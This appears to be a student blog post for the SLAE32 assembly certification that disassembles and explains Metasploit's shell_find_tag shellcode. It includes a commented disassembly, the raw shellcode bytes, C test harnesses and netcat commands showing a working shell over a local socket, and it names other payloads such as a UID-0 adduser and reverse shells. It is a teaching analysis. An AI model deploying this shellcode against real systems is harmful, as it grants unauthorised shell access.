SLAE32 - Assignment 5.3

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-30398

Source Code

The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.

List of files:

Analysis

I chose the following 4 shellcode samples:

Name Description
linux/x86/adduser Create a new user with UID 0
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6

In this post I'll analyze linux/x86/shell_find_tag.

NDISASM

To generate the payload:

msfvenom -p linux/x86/shell_find_tag -o shellcode.bin

To analyze it with ndisasm:

ndisasm shellcode.bin -b 32 -p intel

It returns the following output (comments are mine though):

; clear EBX and push 0x00000000 to the stack
xor ebx,ebx
push ebx

; store pointer to 0x00000000 into ESI
mov esi,esp

; 4th argument of recv(): flags
; push to the stack the value 0x00000040 (MSG_DONTWAIT)
push byte +0x40

; 3rd argument of recv(): len, i.e. the number of bytes to
;   read from the socket
; push to the stack the value: 0x00000a00 (2560 bytes)
mov bh,0xa
push ebx

; 2nd argument of recv(): buffer that will store the data
; push to the stack the value: pointer to 0x00000000
push esi

; 1st argument of recv(): file descriptor of the socket
; push to the stack the value: 0x00000a00
push ebx

; 3rd argument of socketcall()
; store into ECX the pointer to its arguments
mov ecx,esp

; exchanges BH with BL, so 0x0a00 -> 0x000a
; EBX = 0xa (SYS_RECV)
xchg bh,bl

; 0x0a00 -> 0x0a01
inc word [ecx]

; call socketcall() syscall, which in turn calls recv()
push byte +0x66
pop eax
int 0x80

; pointer to the buffer storing data received with recv()
; check if the first bytes are the string "fjHh
cmp dword [esi],0x68486a66
jnz 0x10
If the first 4 bytes of the buffer of recv() aren't equal to the string fjHh, recv() is called with a file descriptor that keeps increasing
; save the file descriptor of the socket into EDI and EBX
pop edi
mov ebx,edi

; set ECX ot 0x00000002
push byte +0x2
pop ecx

; call dup2() syscall
push byte +0x3f
pop eax
int 0x80

; decrease ECX by 1 and jump to the address 00000026
dec ecx
jns 0x26
The last two instructions loop three times, from ECX=2 to ECX=0, in order to redirect respectively stderr, stdout, and stdin to the file descriptor of the socket
; set EAX to 0x0000000b
push byte +0xb
pop eax

; 3rd argument of execve(): array of pointer to env. vars.
; set EDX to 0 and push this value to the stack
; it also acts as the string terminator of /bin//sh
cdq
push edx

; push the following string to the stack: /bin//sh
push dword 0x68732f2f
push dword 0x6e69622f

; save the pointer to /bin//sh into EBX
mov ebx,esp

; push 0x00000000 to the stack
push edx

; 1st argument of execve(): path of the executable to run
;   in this case: /bin//sh
push ebx

; 2nd argument of execve():
;   array of pointers to strings passed
;   as the command-line arguments of /bin//sh
mov ecx,esp

; call syscall 0xb (11): execve()
int 0x80

This last block of disassembly looks similar to what I've written for the 1st and 2nd assignments.

It simply calls the syscall execve in order to spawn a shell, in particular /bin//sh.

To recapitulate what the shellcode does:

It translates to the following C program, although with some minor differences:

#include <sys/socket.h>

void main(int argc, char *argv[])
{
    unsigned short int fd = 2560;

    /*
      buffer containing data received from the socket
      in the previous shellcode, the data is stored on the stack
      so this is the 1st difference
    */
    char buffer[2560] = {0};

    while (1)
    {
        recv(fd, &buffer, 2560, MSG_DONTWAIT);

        /*
          check the first four bytes of the data received from the socket (if so)
          I don't know how to check the first 4 bytes without other functions
          so this is the 2nd difference
        */
        if (buffer[0] == "\x66" && buffer[1] == "\x6a" && buffer[2] == "\x48" && buffer[3] == "\x68")
        {
            break;
        } else
        {
            // increase the file descriptor if data wasn't received or
            //  the first 4 bytes aren't correct
            fd++;
        }
    }

    // redirect stderr, stdout, stdin
    for (int i = 2; i <= 0; i++)
    {
        dup2(fd, i);
    }

    /*
      spawn a shell, using system(), as I couldn't use execve
      so this is the 3rd difference
    */
    system("/bin//sh", "/bin//sh", 0);
}

If you were to run the shellcode (or the program above) and pass it to strace, you would notice the function recv enters an endless loop, so it will never reach the function dup2.

To make it work, I wrote some C code that creates a socket and connects to a netcat listener, which sends the string fjHh:

#include <sys/socket.h>
#include <netinet/ip.h>

void main(int argc, char *argv[])
{
    unsigned short int fd = 2560;
    char buffer[2560] = {0};

    // START block of code of code taken from assignment n.2

    int client_socket_fd;
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    client_address.sin_family = AF_INET;
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);
    connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));

    // END block of code of code taken from assignment n.2

    printf("[+] Trying to find the correct file descriptor\n");
    while (1)
    {
        recv(fd, &buffer, 2560, MSG_DONTWAIT);
        if (buffer[0] == 102 && buffer[1] == 106 && buffer[2] == 72 && buffer[3] == 104)
        {
            printf("[+] Correct file descriptor: %d\n", fd);
            break;
        } else
        {
            fd++;
        }
    }

    printf("[+] Redirecting error, output, and input\n");
    for (int i = 2; i >= 0; i--)
    {
        dup2(fd, i);
    }

    printf("[+] Here's your shell:\n");
    system("/bin//sh", "/bin//sh\n", 0);
}

In another window, I set up the netcat listener:

nc -nlp 4444
# fjHh

I had to send the string before the C program could connect to it.

Next, compile and run and C program:

# compile
gcc -w ./file.c

# run
./a.out 
# [+] Trying to find the correct file descriptor
# [+] Correct file descriptor: 3
# [+] Redirecting error, output, and input

In the other window you should now have a reverse shell.

Now that I've tested that it works correctly, I had to change it a bit, replacing some of the C code with the shellcode:

#include <sys/socket.h>
#include <netinet/ip.h>

unsigned char code[] = \
"\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86"
"\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x66\x6a\x48\x68"
"\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79"
"\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

void main(int argc, char *argv[])
{

    // START block of code of code taken from assignment n.2

    int client_socket_fd;
    char *empty[] = { 0 };
    struct sockaddr_in client_address;

    client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    client_address.sin_family = AF_INET;
    inet_aton("127.0.0.1", &client_address.sin_addr);
    client_address.sin_port = htons(4444);
    connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address));

    // END block of code of code taken from assignment n.2

    int (*ret)() = (int(*)())code;
    ret();
}

To compile it:

gcc -w -fno-stack-protector -z execstack file.c

It worked as expected, spawning a reverse shell in the other window, where I set up the netcat listener:

rbct@slae:~$ nc -nvl 4444
# fjHh
# Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
# uid=1000(rbct) gid=1000(rbct) groups=1000(rbct),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare)
whoami
# rbct
exit
rbct@slae:~$ 

This type of shellcode would be used in cases where you've already set up a connection to a TCP socket, and you have control over it, so you're able to send the data desired, and most importantly the first 4 bytes specified in the shellcode.